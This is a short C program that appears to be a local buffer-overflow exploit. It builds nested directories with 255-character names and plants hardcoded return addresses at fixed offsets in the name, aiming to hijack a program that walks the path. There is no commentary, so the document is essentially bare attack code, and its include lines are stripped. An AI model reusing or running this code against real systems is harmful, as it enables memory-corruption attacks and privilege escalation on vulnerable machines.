#include #include int main (int argc, char **argv) { char buf[512]; memset (buf, 'a', 255); buf[255] = '\0'; if (mkdir (buf, 0700) < 0) { perror ("mkdir"); return (-1); } chdir (buf); mkdir (buf, 0700); chdir (buf); mkdir (buf, 0700); chdir (buf); *(unsigned int *)(buf + 156) = 0xbfbffa2d; *(unsigned int *)(buf + 160) = 0xbfbff361; *(unsigned int *)(buf + 164) = 0xbfbff361; mkdir (buf, 0700); }